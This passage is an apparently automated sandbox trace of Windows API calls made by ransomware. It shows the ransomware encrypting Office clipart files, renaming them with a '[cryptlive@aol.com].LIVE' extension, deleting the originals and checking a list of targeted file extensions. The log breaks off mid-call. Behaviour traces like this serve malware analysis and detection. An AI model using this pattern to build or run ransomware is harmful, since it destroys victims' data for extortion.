lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x1424, lpOverlapped=0x0) returned 1 [0153.075] WriteFile (in: hFile=0x1b0, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0x1430, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0x1430, lpOverlapped=0x0) returned 1 [0153.076] ReadFile (in: hFile=0x3b4, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0153.076] WriteFile (in: hFile=0x1b0, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0153.076] SetEndOfFile (hFile=0x1b0) returned 1 [0153.076] CloseHandle (hObject=0x1b0) returned 1 [0153.076] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0153.076] SetEndOfFile (hFile=0x3b4) returned 1 [0153.079] CloseHandle (hObject=0x3b4) returned 1 [0153.079] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105496.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0153.367] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105496.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105496.wmf")) returned 1 [0153.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105496.WMF") returned 63 [0153.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105496.WMF") returned 63 [0153.368] lstrlenW (lpString=".doc") returned 4 [0153.368] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0153.368] lstrlenW (lpString=".docx") returned 5 [0153.369] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0153.369] lstrlenW (lpString=".pdf") returned 4 [0153.369] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0153.369] lstrlenW (lpString=".xls") returned 4 [0153.369] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0153.369] lstrlenW (lpString=".xlsx") returned 5 [0153.369] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0153.369] lstrlenW (lpString=".ppt") returned 4 [0153.369] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0153.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105496.WMF") returned 63 [0153.369] lstrlenW (lpString=".zip") returned 4 [0153.369] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0153.369] lstrlenW (lpString=".rar") returned 4 [0153.369] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0153.369] lstrlenW (lpString=".bz2") returned 4 [0153.369] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0153.369] lstrlenW (lpString=".7z") returned 3 [0153.369] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0153.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105496.WMF") returned 63 [0153.369] lstrlenW (lpString=".dbf") returned 4 [0153.369] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0153.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105496.WMF") returned 63 [0153.369] lstrlenW (lpString=".1cd") returned 4 [0153.369] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0153.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105496.WMF") returned 63 [0153.369] lstrlenW (lpString=".jpg") returned 4 [0153.369] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0153.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105496.WMF") returned 63 [0153.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105496.WMF") returned 63 [0153.369] lstrlenW (lpString=".doc") returned 4 [0153.369] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0153.369] lstrlenW (lpString=".docx") returned 5 [0153.369] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0153.369] lstrlenW (lpString=".pdf") returned 4 [0153.369] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0153.369] lstrlenW (lpString=".xls") returned 4 [0153.370] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0153.370] lstrlenW (lpString=".xlsx") returned 5 [0153.370] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0153.370] lstrlenW (lpString=".ppt") returned 4 [0153.370] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0153.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105496.WMF") returned 63 [0153.370] lstrlenW (lpString=".zip") returned 4 [0153.370] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0153.370] lstrlenW (lpString=".rar") returned 4 [0153.370] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0153.370] lstrlenW (lpString=".bz2") returned 4 [0153.370] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0153.370] lstrlenW (lpString=".7z") returned 3 [0153.370] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0153.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105496.WMF") returned 63 [0153.370] lstrlenW (lpString=".dbf") returned 4 [0153.370] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0153.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105496.WMF") returned 63 [0153.370] lstrlenW (lpString=".1cd") returned 4 [0153.370] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0153.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105496.WMF") returned 63 [0153.370] lstrlenW (lpString=".jpg") returned 4 [0153.370] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0153.370] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0153.370] lstrlenW (lpString="J0105504.WMF") returned 12 [0153.370] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105504.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105504.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0153.372] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=4148) returned 1 [0153.372] CloseHandle (hObject=0x1e0) returned 1 [0153.375] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105504.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105504.wmf")) returned 0x20 [0153.422] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105504.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105504.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0153.423] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105504.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105504.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0153.423] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0153.423] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0153.423] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105504.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105504.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0153.424] GetLastError () returned 0x0 [0153.424] ReadFile (in: hFile=0x38c, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x1034, lpOverlapped=0x0) returned 1 [0153.477] WriteFile (in: hFile=0x380, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0x1040, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0x1040, lpOverlapped=0x0) returned 1 [0153.478] ReadFile (in: hFile=0x38c, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0153.478] WriteFile (in: hFile=0x380, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0153.479] SetEndOfFile (hFile=0x380) returned 1 [0153.479] CloseHandle (hObject=0x380) returned 1 [0153.479] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0153.479] SetEndOfFile (hFile=0x38c) returned 1 [0153.481] CloseHandle (hObject=0x38c) returned 1 [0153.482] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105504.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0153.496] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105504.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105504.wmf")) returned 1 [0153.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105504.WMF") returned 63 [0153.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105504.WMF") returned 63 [0153.497] lstrlenW (lpString=".doc") returned 4 [0153.497] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0153.497] lstrlenW (lpString=".docx") returned 5 [0153.497] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0153.498] lstrlenW (lpString=".pdf") returned 4 [0153.498] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0153.498] lstrlenW (lpString=".xls") returned 4 [0153.498] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0153.498] lstrlenW (lpString=".xlsx") returned 5 [0153.498] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0153.498] lstrlenW (lpString=".ppt") returned 4 [0153.498] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0153.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105504.WMF") returned 63 [0153.498] lstrlenW (lpString=".zip") returned 4 [0153.498] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0153.498] lstrlenW (lpString=".rar") returned 4 [0153.498] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0153.498] lstrlenW (lpString=".bz2") returned 4 [0153.498] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0153.498] lstrlenW (lpString=".7z") returned 3 [0153.498] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0153.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105504.WMF") returned 63 [0153.498] lstrlenW (lpString=".dbf") returned 4 [0153.498] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0153.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105504.WMF") returned 63 [0153.498] lstrlenW (lpString=".1cd") returned 4 [0153.498] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0153.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105504.WMF") returned 63 [0153.498] lstrlenW (lpString=".jpg") returned 4 [0153.498] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0153.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105504.WMF") returned 63 [0153.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105504.WMF") returned 63 [0153.499] lstrlenW (lpString=".doc") returned 4 [0153.499] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0153.499] lstrlenW (lpString=".docx") returned 5 [0153.499] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0153.499] lstrlenW (lpString=".pdf") returned 4 [0153.499] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0153.499] lstrlenW (lpString=".xls") returned 4 [0153.499] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0153.499] lstrlenW (lpString=".xlsx") returned 5 [0153.499] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0153.499] lstrlenW (lpString=".ppt") returned 4 [0153.499] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0153.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105504.WMF") returned 63 [0153.499] lstrlenW (lpString=".zip") returned 4 [0153.499] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0153.499] lstrlenW (lpString=".rar") returned 4 [0153.499] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0153.500] lstrlenW (lpString=".bz2") returned 4 [0153.500] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0153.500] lstrlenW (lpString=".7z") returned 3 [0153.500] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0153.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105504.WMF") returned 63 [0153.500] lstrlenW (lpString=".dbf") returned 4 [0153.500] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0153.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105504.WMF") returned 63 [0153.500] lstrlenW (lpString=".1cd") returned 4 [0153.500] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0153.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105504.WMF") returned 63 [0153.500] lstrlenW (lpString=".jpg") returned 4 [0153.500] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0153.500] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0153.500] lstrlenW (lpString="J0105588.WMF") returned 12 [0153.500] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105588.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105588.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0153.501] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=21548) returned 1 [0153.501] CloseHandle (hObject=0x350) returned 1 [0153.501] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105588.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105588.wmf")) returned 0x20 [0153.501] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105588.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105588.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0153.502] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105588.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105588.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0153.502] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0153.502] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0153.502] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105588.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105588.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0153.503] GetLastError () returned 0x0 [0153.503] ReadFile (in: hFile=0x350, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x542c, lpOverlapped=0x0) returned 1 [0153.519] WriteFile (in: hFile=0x384, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0x5430, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0x5430, lpOverlapped=0x0) returned 1 [0153.521] ReadFile (in: hFile=0x350, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0153.521] WriteFile (in: hFile=0x384, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0153.521] SetEndOfFile (hFile=0x384) returned 1 [0153.521] CloseHandle (hObject=0x384) returned 1 [0153.521] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0153.521] SetEndOfFile (hFile=0x350) returned 1 [0153.524] CloseHandle (hObject=0x350) returned 1 [0153.525] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105588.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0153.580] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105588.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105588.wmf")) returned 1 [0153.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105588.WMF") returned 63 [0153.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105588.WMF") returned 63 [0153.581] lstrlenW (lpString=".doc") returned 4 [0153.581] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0153.582] lstrlenW (lpString=".docx") returned 5 [0153.582] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0153.582] lstrlenW (lpString=".pdf") returned 4 [0153.582] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0153.582] lstrlenW (lpString=".xls") returned 4 [0153.582] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0153.582] lstrlenW (lpString=".xlsx") returned 5 [0153.582] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0153.582] lstrlenW (lpString=".ppt") returned 4 [0153.582] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0153.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105588.WMF") returned 63 [0153.582] lstrlenW (lpString=".zip") returned 4 [0153.582] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0153.582] lstrlenW (lpString=".rar") returned 4 [0153.582] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0153.582] lstrlenW (lpString=".bz2") returned 4 [0153.582] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0153.582] lstrlenW (lpString=".7z") returned 3 [0153.582] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0153.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105588.WMF") returned 63 [0153.582] lstrlenW (lpString=".dbf") returned 4 [0153.582] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0153.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105588.WMF") returned 63 [0153.582] lstrlenW (lpString=".1cd") returned 4 [0153.582] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0153.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105588.WMF") returned 63 [0153.582] lstrlenW (lpString=".jpg") returned 4 [0153.582] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0153.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105588.WMF") returned 63 [0153.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105588.WMF") returned 63 [0153.582] lstrlenW (lpString=".doc") returned 4 [0153.582] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0153.582] lstrlenW (lpString=".docx") returned 5 [0153.582] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0153.582] lstrlenW (lpString=".pdf") returned 4 [0153.582] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0153.583] lstrlenW (lpString=".xls") returned 4 [0153.583] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0153.583] lstrlenW (lpString=".xlsx") returned 5 [0153.583] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0153.583] lstrlenW (lpString=".ppt") returned 4 [0153.583] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0153.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105588.WMF") returned 63 [0153.583] lstrlenW (lpString=".zip") returned 4 [0153.583] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0153.583] lstrlenW (lpString=".rar") returned 4 [0153.583] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0153.583] lstrlenW (lpString=".bz2") returned 4 [0153.583] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0153.583] lstrlenW (lpString=".7z") returned 3 [0153.583] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0153.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105588.WMF") returned 63 [0153.583] lstrlenW (lpString=".dbf") returned 4 [0153.583] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0153.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105588.WMF") returned 63 [0153.583] lstrlenW (lpString=".1cd") returned 4 [0153.583] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0153.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105588.WMF") returned 63 [0153.583] lstrlenW (lpString=".jpg") returned 4 [0153.583] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0153.583] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0153.583] lstrlenW (lpString="J0105846.WMF") returned 12 [0153.583] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105846.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105846.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0153.587] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=8240) returned 1 [0153.587] CloseHandle (hObject=0x380) returned 1 [0153.587] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105846.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105846.wmf")) returned 0x20 [0153.587] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105846.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105846.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0153.587] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105846.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105846.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0153.588] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0153.588] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0153.588] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105846.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105846.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0153.588] GetLastError () returned 0x0 [0153.588] ReadFile (in: hFile=0x380, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x2030, lpOverlapped=0x0) returned 1 [0153.782] WriteFile (in: hFile=0x3a0, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0x2040, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0x2040, lpOverlapped=0x0) returned 1 [0154.150] ReadFile (in: hFile=0x380, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0154.150] WriteFile (in: hFile=0x3a0, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: 